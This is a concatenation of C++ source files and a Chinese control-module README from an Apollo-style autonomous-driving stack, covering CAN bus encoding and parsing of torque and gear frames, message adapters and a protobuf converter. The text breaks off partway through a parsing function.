RoutingRequestAdapter = Adapter<routing::RoutingRequest>; //using RoutingResponseAdapter = Adapter<routing::RoutingResponse>; /* using GpsAdapter = Adapter<jmc_auto::localization::Gps>; using ImuAdapter = Adapter<localization::CorrectedImu>; using RawImuAdapter = Adapter<jmc_auto::drivers::gnss::Imu>; using MonitorAdapter = Adapter<jmc_auto::common::monitor::MonitorMessage>; using PadAdapter = Adapter<control::PadMessage>; using PerceptionObstaclesAdapter = Adapter<perception::PerceptionObstacles>; using PointCloudAdapter = Adapter<::sensor_msgs::PointCloud2>; using VLP16PointCloudAdapter = Adapter<::sensor_msgs::PointCloud2>; using ImageFrontAdapter = Adapter<::sensor_msgs::Image>; using ImageShortAdapter = Adapter<::sensor_msgs::Image>; using ImageLongAdapter = Adapter<::sensor_msgs::Image>; using PredictionAdapter = Adapter<prediction::PredictionObstacles>; using DriveEventAdapter = Adapter<DriveEvent>; using TrafficLightDetectionAdapter = Adapter<perception::TrafficLightDetection>; using PerceptionLaneMaskAdapter = Adapter<::sensor_msgs::Image>; using RelativeOdometryAdapter = Adapter<calibration::republish_msg::RelativeOdometry>; using InsStatAdapter = Adapter<drivers::gnss::InsStat>; using InsStatusAdapter = Adapter<drivers::gnss_status::InsStatus>; using GnssStatusAdapter = Adapter<drivers::gnss_status::GnssStatus>; using SystemStatusAdapter = Adapter<jmc_auto::monitor::SystemStatus>; using StaticInfoAdapter = Adapter<jmc_auto::data::StaticInfo>; using MobileyeAdapter = Adapter<drivers::Mobileye>; using DelphiESRAdapter = Adapter<drivers::DelphiESR>; using ContiRadarAdapter = Adapter<drivers::ContiRadar>; // using RacobitRadarAdapter = Adapter<drivers::RacobitRadar>; // using UltrasonicAdapter = Adapter<drivers::Ultrasonic>; using CompressedImageAdapter = Adapter<sensor_msgs::CompressedImage>; using GnssRtkObsAdapter = Adapter<jmc_auto::drivers::gnss::EpochObservation>; using GnssRtkEphAdapter = Adapter<jmc_auto::drivers::gnss::GnssEphemeris>; using GnssBestPoseAdapter = Adapter<jmc_auto::drivers::gnss::GnssBestPose>; using LocalizationMsfGnssAdapter = Adapter<jmc_auto::localization::LocalizationEstimate>; using LocalizationMsfLidarAdapter = Adapter<jmc_auto::localization::LocalizationEstimate>; using LocalizationMsfSinsPvaAdapter = Adapter<jmc_auto::localization::IntegSinsPva>; using LocalizationMsfStatusAdapter = Adapter<jmc_auto::localization::LocalizationStatus>; using RelativeMapAdapter = Adapter<jmc_auto::relative_map::MapMsg>; using NavigationAdapter = Adapter<jmc_auto::relative_map::NavigationInfo>; using VoiceDetectionRequestAdapter = Adapter<jmc_auto::dreamview::VoiceDetectionRequest>; using VoiceDetectionResponseAdapter = Adapter<jmc_auto::dreamview::VoiceDetectionResponse>; // for pandora using PandoraPointCloudAdapter = Adapter<::sensor_msgs::PointCloud2>; using PandoraCameraFrontColorAdapter = Adapter<::sensor_msgs::Image>; using PandoraCameraRightGrayAdapter = Adapter<::sensor_msgs::Image>; using PandoraCameraLeftGrayAdapter = Adapter<::sensor_msgs::Image>; using PandoraCameraFrontGrayAdapter = Adapter<::sensor_msgs::Image>; using PandoraCameraBackGrayAdapter = Adapter<::sensor_msgs::Image>; using GuardianAdapter = Adapter<jmc_auto::guardian::GuardianCommand>; using GnssRawDataAdapter = Adapter<std_msgs::String>; using StreamStatusAdapter = Adapter<drivers::gnss_status::StreamStatus>; using GnssHeadingAdapter = Adapter<drivers::gnss::Heading>; using RtcmDataAdapter = Adapter<std_msgs::String>; // for velodyne using VelodyneRaw0Adapter = Adapter<velodyne_msgs::VelodyneScanUnified>; using VelodyneRaw1Adapter = Adapter<velodyne_msgs::VelodyneScanUnified>; using PointCloudRaw0Adapter = Adapter<::sensor_msgs::PointCloud2>; using PointCloudRaw1Adapter = Adapter<::sensor_msgs::PointCloud2>; using PointCloudFusionAdapter = Adapter<::sensor_msgs::PointCloud2>; //for remotecontrol using RemoteControlAdapter = Adapter<::jmc_auto::remote::RemoteControl>; using LocalizationdyAdapter = Adapter<jmc_auto::localization_dy::LocalizationEstimate>; */ } // namespace adapter } // namespace common } // namespace jmc_auto #endif // MODULES_ADAPTERS_MESSAGE_ADAPTERS_H_ <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_ADU_CONTROLDRIVE_0X120_120_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_ADU_CONTROLDRIVE_0X120_120_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Aducontroldrive0x120120 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Aducontroldrive0x120120(); uint32_t GetPeriod() const override; void UpdateData(uint8_t* data) override; void Reset() override; // config detail: {'name': 'Checksum_0x120', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Aducontroldrive0x120120* set_checksum_0x120(int checksum_0x120); // config detail: {'name': 'Rolling_counter_0x120', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Aducontroldrive0x120120* set_rolling_counter_0x120(int rolling_counter_0x120); // config detail: {'name': 'ADU_ControTorque_RAWFlag', 'enum': {0: 'ADU_CONTROTORQUE_RAWFLAG_NO_FILTERS', 1: 'ADU_CONTROTORQUE_RAWFLAG_FILTERS'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Aducontroldrive0x120120* set_adu_controtorque_rawflag(Adu_controldrive_0x120_120::Adu_controtorque_rawflagType adu_controtorque_rawflag); // config detail: {'name': 'ADU_TargetDrving_Torque', 'offset': -10000.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[-10000|10000]', 'bit': 15, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} Aducontroldrive0x120120* set_adu_targetdrving_torque(int adu_targetdrving_torque); // config detail: {'name': 'ADU_ControTorque_Enable', 'enum': {0: 'ADU_CONTROTORQUE_ENABLE_DISABLE', 1: 'ADU_CONTROTORQUE_ENABLE_ENABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Aducontroldrive0x120120* set_adu_controtorque_enable(Adu_controldrive_0x120_120::Adu_controtorque_enableType adu_controtorque_enable); // config detail: {'name': 'ADU_TargetGear_Position', 'enum': {0: 'ADU_TARGETGEAR_POSITION_INITIAL', 1: 'ADU_TARGETGEAR_POSITION_P_PARK', 2: 'ADU_TARGETGEAR_POSITION_R_REVERSE', 3: 'ADU_TARGETGEAR_POSITION_N_NEUTRAL', 4: 'ADU_TARGETGEAR_POSITION_D_DRIVE', 5: 'ADU_TARGETGEAR_POSITION_INVALID'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 6, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Aducontroldrive0x120120* set_adu_targetgear_position(Adu_controldrive_0x120_120::Adu_targetgear_positionType adu_targetgear_position); // config detail: {'name': 'ADU_TargetGear_Enable', 'enum': {0: 'ADU_TARGETGEAR_ENABLE_DISABLE', 1: 'ADU_TARGETGEAR_ENABLE_ENABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Aducontroldrive0x120120* set_adu_targetgear_enable(Adu_controldrive_0x120_120::Adu_targetgear_enableType adu_targetgear_enable); private: // config detail: {'name': 'Checksum_0x120', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_checksum_0x120(uint8_t* data, int checksum_0x120); // config detail: {'name': 'Rolling_counter_0x120', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_rolling_counter_0x120(uint8_t* data, int rolling_counter_0x120); // config detail: {'name': 'ADU_ControTorque_RAWFlag', 'enum': {0: 'ADU_CONTROTORQUE_RAWFLAG_NO_FILTERS', 1: 'ADU_CONTROTORQUE_RAWFLAG_FILTERS'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_adu_controtorque_rawflag(uint8_t* data, Adu_controldrive_0x120_120::Adu_controtorque_rawflagType adu_controtorque_rawflag); // config detail: {'name': 'ADU_TargetDrving_Torque', 'offset': -10000.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[-10000|10000]', 'bit': 15, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} void set_p_adu_targetdrving_torque(uint8_t* data, int adu_targetdrving_torque); // config detail: {'name': 'ADU_ControTorque_Enable', 'enum': {0: 'ADU_CONTROTORQUE_ENABLE_DISABLE', 1: 'ADU_CONTROTORQUE_ENABLE_ENABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_adu_controtorque_enable(uint8_t* data, Adu_controldrive_0x120_120::Adu_controtorque_enableType adu_controtorque_enable); // config detail: {'name': 'ADU_TargetGear_Position', 'enum': {0: 'ADU_TARGETGEAR_POSITION_INITIAL', 1: 'ADU_TARGETGEAR_POSITION_P_PARK', 2: 'ADU_TARGETGEAR_POSITION_R_REVERSE', 3: 'ADU_TARGETGEAR_POSITION_N_NEUTRAL', 4: 'ADU_TARGETGEAR_POSITION_D_DRIVE', 5: 'ADU_TARGETGEAR_POSITION_INVALID'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 6, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_adu_targetgear_position(uint8_t* data, Adu_controldrive_0x120_120::Adu_targetgear_positionType adu_targetgear_position); // config detail: {'name': 'ADU_TargetGear_Enable', 'enum': {0: 'ADU_TARGETGEAR_ENABLE_DISABLE', 1: 'ADU_TARGETGEAR_ENABLE_ENABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_adu_targetgear_enable(uint8_t* data, Adu_controldrive_0x120_120::Adu_targetgear_enableType adu_targetgear_enable); private: int checksum_0x120_; int rolling_counter_0x120_; Adu_controldrive_0x120_120::Adu_controtorque_rawflagType adu_controtorque_rawflag_; int adu_targetdrving_torque_; Adu_controldrive_0x120_120::Adu_controtorque_enableType adu_controtorque_enable_; Adu_controldrive_0x120_120::Adu_targetgear_positionType adu_targetgear_position_; Adu_controldrive_0x120_120::Adu_targetgear_enableType adu_targetgear_enable_; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_ADU_CONTROLDRIVE_0X120_120_H_ <file_sep>#ifndef PBCONVERTOR_H #define PBCONVERTOR_H /** * @file PbConvertor.h * @brief PbConvertor is used to convert protobuf message to C struct or C struct to protobuf message. * @author xuyp * @date 2019.12 */ #include <string> #include <vector> #include <google/protobuf/message.h> namespace jmc_auto { namespace common { namespace util { class PbConvertor { public: struct MemTree { char *pMem; size_t memSize; std::vector<MemTree> vecChild; MemTree() { pMem = NULL; memSize = 0; } MemTree(char *pMem, size_t memSize) { this->pMem = pMem; this->memSize = memSize; } void release() { for (auto &child : vecChild) child.release(); if (NULL != pMem) free(pMem); } }; /** * @brief convert C struct to protobuf message. * @param pStruct pointer to C struct. * @param pPb pointer to protobuf message. * @return whether successful. */ static bool struct2Pb(const char *&pStruct, google::protobuf::Message *pPb); /** * @brief convert C struct to serialized protobuf message. * @param pStruct pointer to C struct. * @param pbTypeName protobuf message type name. * @param pSerializedPb pointer to serialized protobuf message which must be released by user using delete []. * @param serializedPbSize serialized protobuf message size. * @return whether successful. */ static bool struct2serializedPb(const char *pStruct, const std::string &pbTypeName, char *&pSerializedPb, size_t &serializedPbSize); /** * @brief convert protobuf message to C struct. * @param pPb pointer to protobuf message. * @param stru memory tree related to C struct, and pointer to C struct equals to stru.pMem. * Memory tree must be released by user using stru.release(). * @return whether successful. */ static bool pb2struct(const google::protobuf::Message *pPb, MemTree &stru); /** * @brief convert serialized protobuf message to C struct. * @param pbTypeName protobuf message type name. * @param pSerializedPb pointer to serialized protobuf message. * @param serializedPbSize serialized protobuf message size. * @param stru memory tree related to C struct, and pointer to C struct equals to stru.pMem. * Memory tree must be released by user using stru.release(). * @return whether successful. */ static bool serializedPb2struct(const std::string &pbTypeName, const char *pSerializedPb, const size_t serializedPbSize, MemTree &stru); private: static bool getSize(const google::protobuf::Reflection *pReflection, const google::protobuf::Message *pPb, const google::protobuf::FieldDescriptor *pFieldDescriptor, size_t &size); }; } // namespace util } // namespace common } // namespace jmc_auto #endif // PBCONVERTOR_H <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_sectiontype_h #define impl_type_sectiontype_h #include "impl_type_uint8.h" enum class SectionType : UInt8 { SECTION_HEADER = 0, SECTION_CHUNK_HEADER = 1000, SECTION_CHUNK_BODY = 2, SECTION_INDEX = 3, SECTION_CHANNEL = 4 }; #endif // impl_type_sectiontype_h <file_sep># 控制 ## 介绍 本模块基于规划和当前的汽车状态,使用不同的控制算法来生成舒适的驾驶体验。控制模块可以在正常模式和导航模式下工作。 ## 输入 * 规划轨迹 * 车辆状态 * 定位 * Dreamview自动模式更改请求 ## 输出 * 给底盘的控制指令(转向,节流,刹车)。 ##控制调试记录 ###2021-2-2 增加加速限制 ###2021-03-03 1.换档不行驶,速度一直发0 原因:R档时计算剩余路径条件判断问题 解决:修改了判断条件(更严苛,届时是否会停车还待测试) 2.转向不及时 原因:未知 解决:先调预瞄参数和LQR参数(不理想) LQR:0.2 0 2 0(巡迹可以)-> 0.1 0 1 0(效果不明显) ##2021-03-17 左转参数 预瞄窗口20 q3q4 100 100 限制(-5,200) 右转参数 <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/adu_controldrive_0x120_120.h" #include "modules/drivers/canbus/common/byte.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; const int32_t Aducontroldrive0x120120::ID = 0x120; // public Aducontroldrive0x120120::Aducontroldrive0x120120() { Reset(); } uint32_t Aducontroldrive0x120120::GetPeriod() const { // TODO modify every protocol's period manually static const uint32_t PERIOD = 20 * 1000; return PERIOD; } void Aducontroldrive0x120120::UpdateData(uint8_t* data) { set_p_rolling_counter_0x120(data, rolling_counter_0x120_); set_p_adu_controtorque_rawflag(data, adu_controtorque_rawflag_); set_p_adu_targetdrving_torque(data, adu_targetdrving_torque_); set_p_adu_controtorque_enable(data, adu_controtorque_enable_); set_p_adu_targetgear_position(data, adu_targetgear_position_); set_p_adu_targetgear_enable(data, adu_targetgear_enable_); set_p_checksum_0x120(data, checksum_0x120_); } void Aducontroldrive0x120120::Reset() { // TODO you should check this manually checksum_0x120_ = 0; rolling_counter_0x120_ = 0; adu_controtorque_rawflag_ = Adu_controldrive_0x120_120::ADU_CONTROTORQUE_RAWFLAG_NO_FILTERS; adu_targetdrving_torque_ = 0; adu_controtorque_enable_ = Adu_controldrive_0x120_120::ADU_CONTROTORQUE_ENABLE_DISABLE; adu_targetgear_position_ = Adu_controldrive_0x120_120::ADU_TARGETGEAR_POSITION_INITIAL; adu_targetgear_enable_ = Adu_controldrive_0x120_120::ADU_TARGETGEAR_ENABLE_DISABLE; } Aducontroldrive0x120120* Aducontroldrive0x120120::set_checksum_0x120( int checksum_0x120) { checksum_0x120_ = checksum_0x120; return this; } // config detail: {'name': 'Checksum_0x120', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Aducontroldrive0x120120::set_p_checksum_0x120(uint8_t* data, int checksum_0x120) { checksum_0x120 = (data[0]^data[1]^data[2]^data[3]^data[4]^data[5]^data[6]); checksum_0x120 = ProtocolData::BoundedValue(0, 255, checksum_0x120); int x = checksum_0x120; Byte to_set(data + 7); to_set.set_value(x, 0, 8); } Aducontroldrive0x120120* Aducontroldrive0x120120::set_rolling_counter_0x120( int rolling_counter_0x120) { rolling_counter_0x120_ = rolling_counter_0x120; return this; } // config detail: {'name': 'Rolling_counter_0x120', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Aducontroldrive0x120120::set_p_rolling_counter_0x120(uint8_t* data, int rolling_counter_0x120) { rolling_counter_0x120 = ProtocolData::BoundedValue(0, 15, rolling_counter_0x120); int x = rolling_counter_0x120; Byte to_set(data + 6); to_set.set_value(x, 0, 4); } Aducontroldrive0x120120* Aducontroldrive0x120120::set_adu_controtorque_rawflag( Adu_controldrive_0x120_120::Adu_controtorque_rawflagType adu_controtorque_rawflag) { adu_controtorque_rawflag_ = adu_controtorque_rawflag; return this; } // config detail: {'name': 'ADU_ControTorque_RAWFlag', 'enum': {0: 'ADU_CONTROTORQUE_RAWFLAG_NO_FILTERS', 1: 'ADU_CONTROTORQUE_RAWFLAG_FILTERS'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Aducontroldrive0x120120::set_p_adu_controtorque_rawflag(uint8_t* data, Adu_controldrive_0x120_120::Adu_controtorque_rawflagType adu_controtorque_rawflag) { int x = adu_controtorque_rawflag; Byte to_set(data + 0); to_set.set_value(x, 0, 1); } Aducontroldrive0x120120* Aducontroldrive0x120120::set_adu_targetdrving_torque( int adu_targetdrving_torque) { adu_targetdrving_torque_ = adu_targetdrving_torque; return this; } // config detail: {'name': 'ADU_TargetDrving_Torque', 'offset': -10000.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[-10000|10000]', 'bit': 15, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} void Aducontroldrive0x120120::set_p_adu_targetdrving_torque(uint8_t* data, int adu_targetdrving_torque) { adu_targetdrving_torque = ProtocolData::BoundedValue(-10000, 10000, adu_targetdrving_torque); int x = (adu_targetdrving_torque - -10000.000000); uint8_t t = 0; t = x & 0xFF; Byte to_set0(data + 2); to_set0.set_value(t, 0, 8); x >>= 8; t = x & 0xFF; Byte to_set1(data + 1); to_set1.set_value(t, 0, 8); } Aducontroldrive0x120120* Aducontroldrive0x120120::set_adu_controtorque_enable( Adu_controldrive_0x120_120::Adu_controtorque_enableType adu_controtorque_enable) { adu_controtorque_enable_ = adu_controtorque_enable; return this; } // config detail: {'name': 'ADU_ControTorque_Enable', 'enum': {0: 'ADU_CONTROTORQUE_ENABLE_DISABLE', 1: 'ADU_CONTROTORQUE_ENABLE_ENABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Aducontroldrive0x120120::set_p_adu_controtorque_enable(uint8_t* data, Adu_controldrive_0x120_120::Adu_controtorque_enableType adu_controtorque_enable) { int x = adu_controtorque_enable; Byte to_set(data + 0); to_set.set_value(x, 3, 1); } Aducontroldrive0x120120* Aducontroldrive0x120120::set_adu_targetgear_position( Adu_controldrive_0x120_120::Adu_targetgear_positionType adu_targetgear_position) { adu_targetgear_position_ = adu_targetgear_position; return this; } // config detail: {'name': 'ADU_TargetGear_Position', 'enum': {0: 'ADU_TARGETGEAR_POSITION_INITIAL', 1: 'ADU_TARGETGEAR_POSITION_P_PARK', 2: 'ADU_TARGETGEAR_POSITION_R_REVERSE', 3: 'ADU_TARGETGEAR_POSITION_N_NEUTRAL', 4: 'ADU_TARGETGEAR_POSITION_D_DRIVE', 5: 'ADU_TARGETGEAR_POSITION_INVALID'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 6, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Aducontroldrive0x120120::set_p_adu_targetgear_position(uint8_t* data, Adu_controldrive_0x120_120::Adu_targetgear_positionType adu_targetgear_position) { int x = adu_targetgear_position; Byte to_set(data + 0); to_set.set_value(x, 4, 3); } Aducontroldrive0x120120* Aducontroldrive0x120120::set_adu_targetgear_enable( Adu_controldrive_0x120_120::Adu_targetgear_enableType adu_targetgear_enable) { adu_targetgear_enable_ = adu_targetgear_enable; return this; } // config detail: {'name': 'ADU_TargetGear_Enable', 'enum': {0: 'ADU_TARGETGEAR_ENABLE_DISABLE', 1: 'ADU_TARGETGEAR_ENABLE_ENABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Aducontroldrive0x120120::set_p_adu_targetgear_enable(uint8_t* data, Adu_controldrive_0x120_120::Adu_targetgear_enableType adu_targetgear_enable) { int x = adu_targetgear_enable; Byte to_set(data + 0); to_set.set_value(x, 7, 1); } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_wheelspeedtype_h #define impl_type_wheelspeedtype_h #include "impl_type_uint8.h" enum class WheelSpeedType : UInt8 { FORWARD = 0, BACKWARD = 1, STANDSTILL = 2, INVALID = 3 }; #endif // impl_type_wheelspeedtype_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/gw_ems_tqwhl_0x111_111.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Gwemstqwhl0x111111::Gwemstqwhl0x111111() {} const int32_t Gwemstqwhl0x111111::ID = 0x111; void Gwemstqwhl0x111111::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_gw_ems_tqwhl_0x111_111()->set_ems_indicatedrealengtorqwhl(ems_indicatedrealengtorqwhl(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_tqwhl_0x111_111()->set_ems_indicatedaccmesgerror(ems_indicatedaccmesgerror(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_tqwhl_0x111_111()->set_ems_indicateddriveroverride(ems_indicateddriveroverride(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_tqwhl_0x111_111()->set_ems_indicateddriverreqtorq(ems_indicateddriverreqtorq(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_tqwhl_0x111_111()->set_dcm_ems_rollingcounter_0x111(dcm_ems_rollingcounter_0x111(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_tqwhl_0x111_111()->set_dcm_ems_checksum_0x111(dcm_ems_checksum_0x111(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_tqwhl_0x111_111()->set_ems_indicateddriverreqtorqwhl(ems_indicateddriverreqtorqwhl(bytes, length)); } // config detail: {'name': 'ems_indicatedrealengtorqwhl', 'enum': {65535: 'EMS_INDICATEDREALENGTORQWHL_INVALID'}, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'offset': -30000.0, 'physical_range': '[-30000|30000]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} int Gwemstqwhl0x111111::ems_indicatedrealengtorqwhl(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = static_cast<int>(x); return ret; } // config detail: {'name': 'ems_indicatedaccmesgerror', 'enum': {0: 'EMS_INDICATEDACCMESGERROR_NOEERROR', 1: 'EMS_INDICATEDACCMESGERROR_REVERSIBLE_ERROR', 2: 'EMS_INDICATEDACCMESGERROR_IRREVERSIBLE_ERROR', 3: 'EMS_INDICATEDACCMESGERROR_NOTDEFINED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_tqwhl_0x111_111::Ems_indicatedaccmesgerrorType Gwemstqwhl0x111111::ems_indicatedaccmesgerror(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(2, 2); Gw_ems_tqwhl_0x111_111::Ems_indicatedaccmesgerrorType ret = static_cast<Gw_ems_tqwhl_0x111_111::Ems_indicatedaccmesgerrorType>(x); return ret; } // config detail: {'name': 'ems_indicateddriveroverride', 'enum': {0: 'EMS_INDICATEDDRIVEROVERRIDE_NOOVERRIDE', 1: 'EMS_INDICATEDDRIVEROVERRIDE_DRIVEROVERRIDE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_tqwhl_0x111_111::Ems_indicateddriveroverrideType Gwemstqwhl0x111111::ems_indicateddriveroverride(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(7, 1); Gw_ems_tqwhl_0x111_111::Ems_indicateddriveroverrideType ret = static_cast<Gw_ems_tqwhl_0x111_111::Ems_indicateddriveroverrideType>(x); return ret; } // config detail: {'name': 'ems_indicateddriverreqtorq', 'enum': {2047: 'EMS_INDICATEDDRIVERREQTORQ_INVALID'}, 'precision': 0.5, 'len': 12, 'is_signed_var': False, 'offset': -1000.0, 'physical_range': '[-1000|1000]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} double Gwemstqwhl0x111111::ems_indicateddriverreqtorq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 6); int32_t t = t1.get_byte(4, 4); x <<= 4; x |= t; double ret = static_cast<double>(x); return ret; } // config detail: {'name': 'dcm_ems_rollingcounter_0x111', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwemstqwhl0x111111::dcm_ems_rollingcounter_0x111(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'dcm_ems_checksum_0x111', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwemstqwhl0x111111::dcm_ems_checksum_0x111(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'ems_indicateddriverreqtorqwhl', 'enum': {65535: 'EMS_INDICATEDDRIVERREQTORQWHL_INVALID'}, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'offset': -30000.0, 'physical_range': '[-30000|30000]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} int Gwemstqwhl0x111111::ems_indicateddriverreqtorqwhl(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = 